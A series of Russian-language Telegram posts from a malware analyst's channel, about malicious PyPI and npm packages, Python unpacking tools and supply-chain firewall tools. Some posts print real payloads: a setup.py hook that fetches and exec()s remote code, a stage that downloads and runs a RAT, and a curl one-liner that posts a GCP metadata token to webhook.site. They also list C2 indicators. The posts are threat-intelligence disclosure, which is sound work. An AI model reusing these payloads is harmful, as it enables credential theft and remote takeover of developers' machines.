disasm.me channel
1.77K subscribers
295 photos
3 videos
10 files
182 links
Канал вирусного аналитика, занимающегося безопасностью опенсорса и технологиями искусственного интеллекта. Плюс заметки по аспирантуре :)

Автор: @hexadec1mal

В чате сидит Guard-бот, будьте внимательнее.
Download Telegram
Forwarded from ESCalator
Снова ловим багхантеров 💀

В одном из предыдущих постов мы писали про следы багбаунти-деятельности по отношению к «Яндексу». История повторилась, но уже с нами.

Сработал алерт на активность, связанную с новыми вредоносными пакетами innostage и innostage_group. История нетипичная: почта у разработчика — [email protected] (о, русскоговорящий человек!), а нагрузка скачивается с доменов files.inostage.ru (мимикрия под innostage-group.ru) и files.pythonhosted.ru (мимикрия под files.pythonhosted.org).

Человеку — большое уважение: озаботился покупкой домена, еще и перед этим, вероятно, ознакомился с атаками, проводимыми ранее... Отправляем репорт в Python Package Index, уведомляем коллег из Innostage.

🐈 Подозреваем, автор читал мартовскую статью Checkmarx, где злоумышленник «протроянил» пакет colorama. Был сделан pull request, который, помимо всего прочего, в ссылках на дистрибутивы легитимный домен files.pythonhosted.org поменял на управляемый атакующим files.pypihosted.org.

Хоть в описании проекта и упоминается, что это багбаунти, в качестве нагрузки человек использовал не отстук (как это делал багхантер из истории с «Яндексом»), а реверс-шеллы (на скриншотах). Не совсем исследовательский подход, к сожалению.

Далее к пакетам innostage и innostage_group прибавились cyberart, ... posi, maxpatrol и ptsecurity 🤨 Занятно. Нагрузка все та же — реверс-шеллы.

Домен inostage.ru уже ранее светился на Standoff. Получается, снова обнаружили деятельность багхантеров, в этот раз еще и помешав исследованию 🤬. Что-ж...

———
PT PyAnalysis. Профессионально отслеживаем багхантеров с 2024 года.

#ti #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7😁4🤯2
Forwarded from ESCalator
Через блокчейн к данным ⭐️

Исследователи из Socket и Checkmarx рассказали об интересной вредоносной кампании в NPM. Злоумышленники мимикрировали под плагины для Puppeteer и блокчейн-клиенты. Для получения IP-адреса актуального командного сервера используется смарт-контракт в блокчейне Ethereum 😦

Из занятного — в коде библиотек используется несколько комментариев на русском:

console.error("Ошибка при получении IP адреса:", err);
console.error("Ошибка при запуске файла:", _0x88fda8);
console.error("Ошибка установки:", _0x14ce94);

Socket предлагает быть осторожным с атрибуцией, так как это может быть следствием переиспользования кода либо сделано нарочно.

В зависимости от вашей платформы будет скачан и запущен один из следующих исполняемых файлов: node-win.exe, node-linux, node-macos. Ниже мы будем называть их агентами.

Мы изучили кампанию подробнее и обнаружили еще несколько интересных деталей.

1️⃣ Несмотря на то что Socket и Checkmarx приводят только один IP-адрес в качестве сетевого IoC, функция назначения нового URL в смарт-контракте вызывалась несколько раз. Всего нам известно о пяти адресах, и самым ранним из них был https://localhost:3001 😈, остальные представляют собой VPS-серверы.

2️⃣ Агент умеет закрепляться в системе и так же, как и JS-библиотеки, скачивающие и запускающие его, получать C2 через блокчейн. Исполняемый файл представляет собой Node.js Single Executable Application, который упаковывает проект и интерпретатор JS в единый файл.

3️⃣ Агент периодически опрашивает сервер на предмет команд в виде JS-кода. Первая нагрузка собирает информацию о системе жертвы: модель процессора, количество ядер, объем оперативной памяти, данные о видеокарте. Полученная информация отправляется обратно на сервер.

4️⃣ Агенты получают просто true, если нет новых задач. Из интересного: корень HTTP-сервера возвращал следующую ошибку:

{"statusCode":404,"message":"ENOENT: no such file or directory, stat '/root/botnet-server/public/index.html'"}

Эта строка проливает свет на возможные цели злоумышленника ☕️

IoCs:

https://194.53.54.188:3001
https://193.233.201.21:3001
https://45.125.67.172:1337
https://45.125.67.172:1228
194.53.54.188
193.233.201.21
45.125.67.172

#ti #npm #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👾5😁2
Forwarded from ESCalator
Первые шаги на хакерском поприще 🐱

Опенсорс — интересная среда для наблюдений за развитием проектов. Занятно изучать реализацию первых версий популярных библиотек наподобие boto3, scikit-learn, requests (концепт-план версии 0.2.0 — вполне креативный).

Интересно наблюдать и за людьми, которые вместо использования популярных стилеров и RAT пробуют себя в написании собственных решений.

1️⃣ Пользователь SpaceyLad создал цепочку из двух пакетов:

🟢not-so-evil-package-spaceylad, код которого представлен на скриншотах 1 (оригинальная версия) и 2 (после автоматической деобфускации). Этот пакет отвечает за хранение строки с командой для скачивания нагрузки.

🟢not-evil-calculator-spaceylad, который непосредственно запустит команду, — скриншот 3.

В первом пакете во всех версиях, кроме 0.0.5, скачивается безобидный файл с расширением .css. Если вам не повезло, со страницы автора на PythonAnywhere скачан файл evil_python.exe, представляющий собой... calc.exe из пакета стандартных программ Windows. Но и в этом случае нагрузка отработает при наличии пользователя IXY.

Из занятного — в релизах проектов оставлены папки .idea (папка проекта в IDE PyCharm) и .venv (папка с виртуальным окружением Python), которые, помимо скудной информации об авторе пакета, позволили узнать нам оригинальное название проекта — pip_evil_package. Также благодаря нехитрой цепочке «гугления» выясняется, что разработчик является студентом факультета кибербезопасности одного из университетов Норвегии 🐈

2️⃣ В июле-августе 2024 года существовал пакет recovery, задача которого согласно описанию была простой: Checks recovery phone numbers against login page on yahoo. Имя автора, ExodusChecker, вызывает смутные подозрения, но давайте не будем торопиться.

Первые версии пакета выглядят безобидными (скриншот 4 — для версий 0.0.1–0.0.3), затем появляются первые подсказки по вредоносной функциональности (скриншот 5 — версии 0.0.4–0.0.9). Начиная с версии 0.1.0 появляется логика замены файла ресурсов для криптокошелька Exodus (скриншот 6), а с версии 0.1.4 злоумышленник учится прикладывать бинарные файлы в релиз.

Автор на протяжении 19 релизов наращивает функциональность, постепенно превращая proof of concept с абсолютными путями (привет, юзер с именем hammy, тестирующий на Exodus 24.31.4) в универсальный работающий код. Далее велись лишь QoL-работы. Конечный результат вы можете видеть на скриншоте 7, он отражает тридцатый по счeту релиз — 0.3.1. Скрипт suckme.bat, сохраняемый в папку автозагрузки, — это отдельный анекдот.

Сам подменяемый app.asar использует технику, ранее описанную JFrog в Impala Stealer, по отношению к хранилищу пакетов .NET NuGet: функция unlock из app/wallet/index.js получает функциональность отправки сид-фразы злоумышленнику (скриншоты 8, 9).

Простой способ защититься от такого рода напастей — использовать изолированное от пользовательских файлов окружение, например Docker-контейнеры. Это может не спасти конечных пользователей, но разработчики будут в определенной степени защищены от типовых атак. Кроме того, можно посмотреть в сторону PyAnalysis 😍

Желаем в наступающем новом году оставаться в безопасности от проделок злоумышленников 🎂

#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5😁2👾1
Forwarded from ESCalator
Инструменты для работы с Python 😦

Злоумышленники не стесняются использовать Python для своих целей. LazyStealer, упакованная PyInstaller, Python-бэкдор в ShadowPad и модули для Pupy RAT тому доказательство. Кроме того, задачи на снятие пакеров с дальнейшим исследованием встречаются на соревнованиях capture the flag.

Команда Supply Chain Security собрала памятку по работе с инструментами PyInstaller, py2exe и со скомпилированными файлами .pyc.

PyInstaller

Один из самых популярных инструментов для упаковывания проекта в исполняемый файл под Windows, Linux, macOS. Библиотеки, относящиеся к проекту, дополнительно сериализуются с помощью стандартной библиотеки marshal в PYZ-файл.

Для работы с PyInataller можно использовать один из первых проектов — pyinstxtractor. Marshal не реализует обратную совместимость между своими версиями, поэтому для распаковки PYZ-файла pyinstxtractor требует запуска на той версии Python, которой был упакован PyInstaller.

Решает этот нюанс pyinstxtractor-ng: он использует библиотеку xdis, реализующую (де)сериализатор под Python 2.4–3.13, в силу чего для полной распаковки больше не требуется конкретная версия Python. Автор pyinstxtractor-ng выпустил веб-версию, переписанную на Go, она работает локально в браузере. Оба проекта активно обновляются и разбирают последние версии PyInstalller.

py2exe

Решение, нацеленное на упаковку проекта в исполняемый файл под Windows. Чуть-чуть не успевает за тенденциями и пока не умеет работать с Python 3.12 и 3.13. «Убийцей» пакера должен был стать unpy2exe, но последний коммит в master семь лет назад оставляет чувство печали. Автор этого решения так же, как и автор решения pyinstxtractor, предупреждает, что версии (хотя бы major) установленного Python и конечной нагрузки должны совпадать.

Файлы .pyc

На уровне Python используются для ускорения запуска кода и оптимизации импорта модулей. Для превращения обратно в исходный код есть несколько проектов, и если такое возможно, стоит сравнивать полученный декомпилированный код из одного проекта с декомпилированным кодом из другого.

1️⃣ Uncompyle6 и decompyle3 — две утилиты от автора вышеупомянутого xdis. Uncompyle6 покрывает версии Python до 3.8, decompyle3 — c 3.7 до, частично, 3.9. Автор просит помочь с проектом.

2️⃣ Семейство unpyc (unpyc3, unpyc37, unpyc37-3.10) — поддерживает точечно версии 3.3, 3.7, 3.10.

3️⃣ Pycdc — многообещающий декомпилятор, написанный на C++, также регулярно обновляется и старается поддерживать все версии байт-кода Python. Порой имеет сложности с разбором конструкций, поэтому...

4️⃣ Pycdas — дизассемблер из проекта pycdc, помогает попробовать разобрать файл с расширением .pyc, когда декомпиляторы уже бессильны 🐱🐱🐱

Существующие онлайн-проекты для файлов .pyc (осторожно, отправляют файлы на сервер):

Decompiler.com — мультифункциональный, «под капотом» uncompyle6.

PyLingual.io — многообещающее решение, находящееся в бете. Файлы версий 3.11, 3.12, 3.13 открывает без проблем.

Happy hacking!

#ti #python #tools #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11
Forwarded from ESCalator
Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index 🐳

Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись bvk в июне 2023 года и до этого не проявлявший активность, 29 января 2025 года зарегистрировал вредоносные пакеты deepseeek и deepseekai.

Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai (скриншот 2). Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.

Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии (скриншот 3).

Мы оперативно уведомили администраторов репозитория, пакеты были отправлены в карантин и вскоре удалены. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.

Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе 🐱.

IoCs:

пакет PyPI: deepseeek
пакет PyPI: deepseekai
c2: eoyyiyqubj7mquj.m.pipedream.net


#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5🤯3
Введение в Threat Intelligence

За последний год мне постучалось не меньше десяти человек с вопросом о том, где можно узнать больше о направлении TI.

Кого-то волновало, что навыков реверса CTF-тасок недостаточно, кто-то хочет перейти из смежной специальности (SOC, DFIR). И в основном людей интересует, какие типовые задачи решают TI-специалисты, чтобы понять, подходит им это.

Недавно обнаружил, что мои коллеги сняли серию вебинаров, которые как раз отвечают на эти вопросы — "Лучше звоните PT ESC" 🎂

На данный момент вышло 4 части:
🟢Погружение в Threat Intelligence;
🟢Мир киберугроз с Threat Intelligence — задачи, не ограниченные индикаторами компрометации;
🟢Потоки TI-данных — как использовать сведения об актуальных киберугрозах;
🟢Будни TI-аналитика: задачи, навыки и инструменты.

Послушал на досуге — здесь как раз полно отвечают на все вопросы, связанные с компетенциями в области TI и с навыками, которыми необходимо обладать. Также можно узнать о том, как выглядит потребность в TI со стороны организаций, которые хотят улучшить свою защищённость. Так что советую изучить 🐾

#ti #материалы
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8😁3
Журналисты надругались над питонистом

Мне прислали новость о том, что миллионы компьютеров оказались под угрозой взлома из-за критической уязвимости, связанной с Python.

Сама новость прошла через следующую цепочку: ITc новости -> 3D News с ссылкой на комментарий эксперта "Газинформсервис".

3D News, а за ним и ITc сообщают:
Злоумышленники добавили в репозиторий вредоносный пакет с тем же именем, который даёт им возможность удалённого выполнения произвольного кода на уязвимых системах, что может привести к компрометации данных, краже информации и полному контролю над заражённым ПК.


Пакет msgspec-python313-pre является опциональной зависимостью dev-сборок для CPython 3.13 в популярном пакете python-json-logger (рис. 1). Поэтому неудивительно, что когда msgspec-python313-pre удалили 30 декабря 2024, отсутствие зависимости заметили только 4 марта 2025.

Согласно репорту автора находки, он заметил отсутствие зависимости и зарегистрировал заглушку 4 марта. В качестве решения проблемы он предлагает выпуск новой версии пакета python-json-logger с доработкой или передачу им прав на пакет msgspec-python313-pre правильным людям.

Проверил msgspec-python313-pre — было выпущено две версии пакета (рис. 2 и рис. 3), обе без вредоносной активности. Ресёрчер поступил верно перед публикацией репорта, чтобы никто с плохим умыслом не воспользовался ситуацией.

Но стоп, а где же злоумышленники, которые создали вредоносный пакет по мнению русскоязычных источников... А их и нет, фраза "This flaw could allow attackers to execute arbitrary code on systems where the library is installed." была видимо неправильно интерпретирована, из-за чего исследователь, зарегистрировавший заглушку, превратился в злоумышленника 💀

Грустно за человека...

#ti #pypi
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚15😁4🤯3🔥1🤬1
Oh no...

Сегодня пользователь simplestway7 зарегистрировал библиотеку numpy-rs.

Кажется, началось... Благо автор не является известным разработчиком в отношении экосистемы numpy, поэтому это либо проба пера (сейчас библиотека пустая), либо занятие названия для дальнейшей dependency confusion-атаки.

Пояснение: сейчас тренд переписывать питоновские библиотеки в виде биндингов на раст-реализацию

UPD: пока писал пост, вышла новая версия, её функционал приведён на втором скрине. heh.jpg

#memes #ti #pypi
@disasm_me_ch
👾8😁4🌚2
Forwarded from ESCalator
Mmaallwwaarree iinn ooppeennssoouurrccee!

В сети развивается примечательная кампания одного исследователя. Ему принадлежат следующие пакеты:

Пользователь lastbright:
🟢yyttt
🟢bbllaacckkwwoollff
🟢bbllaacckkwwoollff-6ad8f762-1a91-45d7-a9c5-356bd858356a
🟢bbllaacckkwwoollff6ad8f762
🟢bbllaacckkwwoollff6ad8f751
🟢bbllaacckkwwoollff6ad8f752
🟢bbllaacckkwwoollff6ad8f753
Пользователь lifeyi2253:
🟢f2d5cfdc642c3d4
🟢f2d5cfdc642c3d5

Нагрузка отрабатывает в момент установки пакета.

Интересно в реальном времени наблюдать, как развивается кампания:

🔤 PoC с комментариями на китайском. Вероятно, тут приложил руку LLM-ассистент (скриншот 1, библиотека yyttt 0.1).

🔤 Результат работы Unix-команды id отправляется на удаленный сервер (скриншот 2, bbllaacckkwwoollff 0.1, 0.2).

🔤 Выполняется код, полученный с C2-сервера (скриншот 3, bbllaacckkwwoollff 0.3, 0.4, bbllaacckkwwoollff-6ad8f762-1a91-45d7-a9c5-356bd858356a 0.1).

🔤 Почему бы не прихватить листинг интересных директорий (/opt/, /run/), переменные окружения и прочую радость (скриншот 4, bbllaacckkwwoollff6ad8f753 0.1)?

🔤 Нет, так много не надо, из директорий достаточно /etc/ (скриншот 5, f2d5cfdc642c3d5 0.1).

На хосте либо на виртуалке для тестов злоумышленник использует имя пользователя mind, о чем говорит путь /home/mind/configuration/config.py в четвертой итерации (скриншот 4).

Примечателен принцип именования пакетов. Кроме того, всегда интересно следить, как в режиме реального времени злоумышленник борется с тем, что его пакеты удаляют по репортам 😈

В информационной безопасности есть термин «пирамида боли» (The Pyramid of Pain) — он описывает сложность ухода от обнаружения. Так вот, в рамках кампании злоумышленник использует один и тот же уникальный файл __init__.py, представленный на скриншоте 6. Система PT PyAnalysis легко это подсвечивает 😑

Опасайтесь всяких волков.
#ti #scs #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👾6
🐈⬆️

Нагрузка вплоть до января 2023 — это сбор информации о системе и отправка этого добра на сервер на этапе установки пакета (рис. 1). По нынешним стандартам он багхантил не совсем этично. Также напоминаю, что с сентября 2024 PyPI прямо запрещает размещать пакеты для багхантинга.

Затем исследователь перешел на более спокойный вариант, просто выводя строку "install". Далее он избавится и от print, оставив только упоминание кампании (рис. 2). Вероятно этого достаточно для подтверждения уязвимости с учётом того, что он всегда явно знает, какой пакет атакует. Да и риск того, что пакет преждевременно снесут, становится ниже.

В последнем проекте, libmambapy, выпущенном в мае 2024, он реализовал POC на JavaScript, запускаемый с помощью execjs (рис. 3). К сожалению, хоть библиотека и указана в install_requires, но импортируется она слишком рано, из-за чего setup.py упадет с ModuleNotFoundError. Но в любом случае уход от обнаружения путём перехода на другой язык — очень хороший шаг 😼 В целом ради этого пакета и начинал весь пост)

Stay multi-lingual,
#ti #pypi
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👾3🔥1
Немного Python-рутины. Больше нагрузок хороших и разных.

Сегодня странный человек решил запостить 6 пакетов подряд под единственной учёткой.

Имя у пакетов вполне хахабельное — это производные от veriftest1asdla (рис. 1). Внутри содержится следующая нагрузка:
os.system("access_token=$(curl -H 'Metadata-Flavor: Google' 'https://metadata.google.internal/computeMetadata/v1/instance/service-accounts/[email protected]/token'); curl -X POST -d \"$access_token\" https://webhook.site/REDACTED")


Этот payload я вижу в последнее время всё чаще и чаще. Тоже является примером использования других языков для избежания обнаружения, но у злоумышленника не прокнуло.

Если интересно порассуждать, что делает этот код, то welcome в комментарии)

#ti #pypi
@disasm_me_ch
🔥3👾2🤯1
Insecure Firewall 😖

Со мной несколько раз поделились проектом Supply-Chain Firewall от команды Datadog. Делюсь своими мыслями и я :)

Проект в своей ридми заявляет следующее (ниже перевод):

Supply-Chain Firewall — это инструмент командной строки, предназначенный для предотвращения установки вредоносных пакетов из PyPI и npm. В первую очередь он рассчитан на разработчиков, чтобы защитить их рабочие станции от компрометации в результате атак на цепочку поставок.

Основная цель Supply-Chain Firewall — полностью (на 100 %) блокировать установку всех известных вредоносных пакетов, охватываемых его источниками данных.


В качестве источника они используют публичный датасет Datadog и фиды OSV.dev. Принцип заключается в том, что вы будете оборачивать команды установки пакетов с помощью pip/poetry/npm — в их тулзу:
scfw run pip install hello_world
scfw run poetry install hello_world
scfw run npm install hello_world

В свою очередь scfw:
1. Проверяет версию пакетного менеджера (npm >= 7.0.0, pip >= 22.2, poetry >= 1.7.0).
2. Добавляет к оригинальной команде параметры, отвечающие за прогон без установки — режим dry-run (место в логике для npm, pip, poetry).
3. Проверяет список пакетов-кандидатов на установку в фидах.

Что делает прогон без установки?

Вроде бы из названия понятно, что пакетный менеджер как-то соберет зависимости, но не установит их. Но что будет с пакетами, содержащими preinstall- и postinstall-логику (там обычно содержатся проверки окружения, доустановка необходимых зависимостей, которые невозможно указать в манифесте, компиляция сорсов, etc.)...

У dry-run гипотетически возможны два варианта поведения:

1. Пытается установить все пакеты во временное виртуальное окружение, запуская все установочные скрипты. Для SCFW это плохо, так как подавляющий пласт троянов исполняются как раз в install-time.

2. Игнорирует/ругается на/выкидывает исключение на скрипты. Это более безопасный, но страдающий в плане полноты зависимостей вариант.

Давайте поставим yandex-baobab-api — этот пакет вызывает исключение при попытке его установить. Итог:

(testvenv) $ scfw run pip install yandex-baobab-api
Collecting yandex-baobab-api
Using cached yandex-baobab-api-66.0.3.tar.gz (1.1 kB)
Preparing metadata (setup.py) ... done
Building wheels for collected packages: yandex-baobab-api
Building wheel for yandex-baobab-api (setup.py) ... error
error: subprocess-exited-with-error
...
File "/tmp/pip-install-.../yandex-baobab-api_.../setup.py", line 7, in run
raise RuntimeError("You are trying to install a stub package yandex-baobab-api. Maybe you are using the wrong pypi?")
RuntimeError: You are trying to install a stub package yandex-baobab-api. Maybe you are using the wrong pypi?
[end of output]

note: This error originates from a subprocess, and is likely not a problem with pip.
ERROR: Failed building wheel for yandex-baobab-api
Running setup.py clean for yandex-baobab-api
Failed to build yandex-baobab-api
ERROR: Failed to build installable wheels for some pyproject.toml based projects (yandex-baobab-api)


Получается, что dry-run в случае с Python-пакетами запускает код из setup.py, вместе со всей вредоносной install-time-активностью 💀

SCFW задумывается как утилита для пользователей, которые хотят убедиться в безопасности выполняемой pip/poetry/npm-команды и запускают команду на своем компьютере без обязательной изоляции окружения. К сожалению, с данной задачей она не справится. Лучше взять osv-scanner, обернуть в контейнер и сканировать зависимости с его помощью.

Хочу напомнить важное правило: do your own research. Будьте любознательны, даже если разработчик решения убеждает, что всё под контролем 😊

#pypi #npm #ti #ресерч
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8😁3🤬1
pipask — finally, a secure firewall? 😎

Недавно я писал о проекте Supply-Chain Firewall, задача которого блокировать установку вредоносных пакетов. К сожалению, в текущей реализации оказался не очень-то и безопасным.

Да, он проверяет наличие пакетов в базах Datadog и OSV.dev, но:
— В случае с pip/poetry делает это по факту установки, а значит вся вредоносная активность отработает. 🐈
— Так как используются базы фидов, такой firewall неэффективен против не занесенных туда угроз.

Нашел упоминание другого проекта, который выглядит по функционалу более мощно, но работает только с пакетным менеджером pip — pipask. Он заявляется как drop-in замена pip, которая поддерживает только команды install/download/list. pipask имеет целый арсенал проверок:
Отозван (yanked) ли пакет. В PyPI можно мягко скрыть релиз, если в нем, например, найдены уязвимости, что не позволит его скачать без прямого указания версии.
— Как давно были созданы релиз, который является целью установки, и сам проект в принципе.
— Есть ли известные уязвимости в базе OSV.dev.
— Какова репутация связанного с проектом GitHub/GitLab-репозитория.
— Какой статус проекта указал разработчик (Planning, Pre-Alpha, Alpha, Beta, Inactive будут причиной для тревоги, Production/Stable и Mature будут ок);
— Сколько скачиваний пакета было за последний месяц по данным PyPI Stats (до 100 будут красным знаком, до 5000 будут причиной тревоги);
— Какая лицензия проекта.

Для транзитивных зависимостей ведётся проверка только на известные уязвимости в базе OSV, без прочих репутационных. 😎

Если pipask найдет проблемы с пакетом, он их подсветит и спросит решение пользователя, стоит ли его устанавливать:
$ pipask install yandex-baobab-api
✔️ Resolving dependencies to install 0:00:00
! Checking repository popularity 0:00:00
✖️ Checking package download stats 0:00:00
! Checking package age 0:00:00
✔️ Checking known vulnerabilities 0:00:00
✔️ Checking release metadata 0:00:00
! Checking package license 0:00:00

Package check results:
[yandex-baobab-api==66.0.3]
! No repository URL found
✖️ Only 8 downloads from PyPI in the last month
! The release is older than a year: 472 days old
✔️ No known vulnerabilities found
✔️ No development status classifiers
! No license found in PyPI metadata - you may need to check manually

? Would you like to continue installing package(s)? [y/n]:


Кстати, в pip против install-time троянов есть режим --only-binary :all: — он не позволит установиться пакету, если у него есть только source distribution, требующий предварительной компиляции. Правда это может поломать пайплайны 🐈. pipask и scfw, тоже могут работать в этом режиме, так как пробрасывают параметры в pip.

———

Данное решение сейчас не поиспользуешь на проде, так как pipask пока не поддерживает возможность игнорировать предупреждения. Но как замена pip-у в рамках ручного скачивания пакетов — огонь. Для того же jupyter labs будет замечательно 😊

Блин, а я попробую использовать pipask у себя на тачке, выглядит годно!

#pypi #supplychain #ti #ресерч
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
1104😁2
Немного Python-рутины. Slavic vibes
Предыдущий пост цикла.

Дано: автор на PyPI с ником protocol.cpp, автор пакета justanything.

В ранней версии код был POC-ом, может даже показаться, что это багбаунти-/пентест-активность (рис.1). Обратите внимание на русскоязычный комментарий 💃

В версии 0.1.3 комментарий был убран, а нагрузка изменилась:
class CustomInstallCommand(install):
def run(self):
try:
response = requests.get("https://[REDACTED1]/main.py")
response.raise_for_status()
exec(response.text)
except requests.RequestException as e:
print(f"Failed to fetch or execute script: {e}")
super().run()


Следующий стейдж выглядит так:
def huinya():
try:
ssilka = 'https://[REDACTED2]/1.txt'
ratka = "1.txt"
huizhopaseks = requests.get(ssilka)
with open(ratka,"wb") as file: file.write(huizhopaseks.content)
os.startfile(ratka)
except Exception:
pass


user = getpass.getuser()
hidden_path = Path.home() / ".dildo"
with open(hidden_path, "w") as f:
f.write(f"Infected! User: {user}\n")

huinya()


Данный код хорошо говорит сам за себя — будет скачан и запущен ратник (RAT, Remote Access Tool, троян с функционалом передачи управления над устройством жертвы злоумышленнику). Стейдж ратника получить не удалось, увы 🚶‍♀️

В последнее время среди троянов всё реже можно увидеть код, написанный человеческими руками. Хорошо, что в 2025 всё ещё существует лучик надежды 🐈

#ti #pypi
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
😁13521
Что такое инструменты для CTF? Это обман, чтобы собрать классы

Сверхразум kibanaly в воскресенье опубликовал пакет hashidf, который выглядит как вполне себе нормальное начало тулинга для соревнований по кибербезопасности: тут есть rot13, операции над бейсами, хэширование.

Понятно, что данный минимальный функционал можно набросать за 5-10 минут и самим, но библиотека, которая потенциально будет обрастать всё большим функционалом, имеет право на существование.

Однако в пакете есть дополнительный функционал: если запустить его как основную точку входа (python -m hashidf), а не просто импортировать, то отработает дополнительная логика:

🟢Проверка, что в программа не находится под отладчиком.
🟢Распаковка нагрузки: парсит текстовый файл из своего проекта на предмет строк с началом SEGMENT_, затем декодирует их base64, склеивает и передает на декомпрессию в zlib.
🟢Сохранение результата в %TEMP%/<случайные 12 символов>.exe, сокрытие файла через hidden-атрибут (подробнее) и запуск. Это типичные действия троянов под виндой.

В версии 0.1.0 закодированной нагрузкой является инструмент putty (VT), который запустится в безоконном режиме без параметров. В 0.1.2 белиберда)

Недолго музыка играла: пакет отправили в карантин через 12 часов после появления первого релиза 🥰

Схожих проектов никто в PyPI в последние дни не публиковал, так что будем следить за развитием событий 🐱

#ti #pypi
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚5🤔1👾1111
Forwarded from ESCalator
Страсти вокруг PyPI: 🪰🐘?

На прошлой неделе CNews выпустили новость: "Россиян погнали из сообщества Python. Пока только избранных, но критерии отбора до предела странные". В ней выясняется, что Python Package Index (PyPI), крупнейшее хранилище пакетов Python, запретила регистрацию новых пользователей с указанием почты на домене inbox.ru.

В официальном заявлении сказано, что с почтовых ящиков inbox.ru пришла волна спама – пользователи с такой почтой создали 250 профилей и добавили к ним свыше полутора тысяч проектов, которые якобы «обманывают пользователей и представляют угрозу безопасности» (leading to end-user confusion, abuse of resources, and potential security issues).


Блокировка россиян в различных комьюнити — животрепещущая тема. Её процитировали и другие издания.

@banksta
:
Россиян изгоняют из сообщества программистов Python. Им запретили пользоваться репозиторием PyPI с пакетами для Python. Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inboxru и тех, кто хочет добавить такую почту в уже существующий профиль. Домен принадлежит Mailru.


@imaxairu:
Россиянам запретили пользоваться репозиторием PyPI с пакетами для Python

Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inbox .ru и тех, кто хочет добавить такую почту в уже существующий профиль

Домен принадлежит Mail .ru. На другие домены компании лимиты пока не распространяются


Команда Supply Chain Security активно сотрудничает с PyPI в области обнаружения троянов. Мы решили провалидировать, были ли действия администрации репозитория обоснованными.

#ti #pypi #pyanalysis #scs
@ptescalator
Пост 1/4
Продолжение⬇️
Please open Telegram to view this post
VIEW IN TELEGRAM
3
Forwarded from ESCalator
Даём оценку официальным заявлениям

CNews ссылаются на статью в блоге PyPI, выпущенную 15 июля 2025. В ней говорится, что, руководствуясь практикой блокировки мусорных почтовых доменов, они закрывают регистрацию новых пользователей в Python Package Index с использованием почты на домене inbox.ru.

Схожее решение администрация PyPI выносила и год назад, 16 июня 2024, в отношении доменов outlook.com и hotmail.com (принадлежат Microsoft) — они стали излюбленным решением для злоумышленников из-за простоты массовой регистрации доменов.

Следует уточнить, что для скачивания пакетов не требуется регистрация. Учётная запись нужна для публикации своих проектов.

PyPI приводит статистику:
9 июня: появилась первая учётная запись кампании.
11 июня: за 3 часа было создано 46 учётных записей.
24 июня: за 4 часа было создано 207 учётных записей.
С 26 июня по 7 июля ими было создано 1525 проектов:
2025-06-26 9
2025-06-27 295
2025-06-28 39
2025-06-29 119
2025-06-30 740
2025-07-01 249
2025-07-02 46
2025-07-10 16
2025-07-11 12


По нашему мнению не существует легитимного сценария, в котором одному пользователю потребуется столько учёток. Создавать большое количество проектов имеет смысл в борьбе с неймсквоттингом (на примере Яндекса), но для этого достаточно и одной учётки.

Обращаем внимание на последний абзац поста на PyPI (ниже перевод):
Надеемся, что мы сможем отменить это решение в будущем, когда будем более уверены в способности этого провайдера электронной почты предотвращать злоупотребления. Если вы работаете в этом провайдере, пожалуйста, напишите нам по адресу [email protected], чтобы обсудить это решение.


Давайте разберемся с кампанией.

#ti #pypi #pyanalysis #scs
@ptescalator
Пост 2/4
Продолжение⬇️
Please open Telegram to view this post
VIEW IN TELEGRAM
3
Forwarded from ESCalator
Характер кампании

Изучим проекты, выпустившие свой первый релиз в рамках действия кампании 26 июня — 7 июля, захватив слева и справа дополнительное время для наглядности: с 12 июня по 15 июля.

Разработчик, публикуя проект, может по желанию оставить email для обратной связи. В этот промежуток было опубликовано всего 4 пакета с явным указанием почты на @inbox.ru, все легитимные.

График 1 (см. ниже) демонстрирует, принял ли решение разработчик указать email в первом релизе своего проекта.
Наблюдаем:
1. Снижение общей активности разработчиков в выходные (видны двухдневные ямы, чередующиеся с пятидневными буднями).
2. Всплески пакетов без email, выпущенные 27 июня (378), 30 июня (662), 1 июля (509).

Второе наблюдение соотносится со статистикой PyPI: 27 июня выпущено 295 пакетов на @inbox.ru, 30 июня — 740, 1 июля — 249, с поправкой на часовые пояса.

В рамках периода активности есть 1403 проекта без email с одинаковым описанием: "Minimal package created automatically" — и версией 0.0.1 (график 2). Они совпадают с периодом активности кампании, которой были недовольны администраторы PyPI.

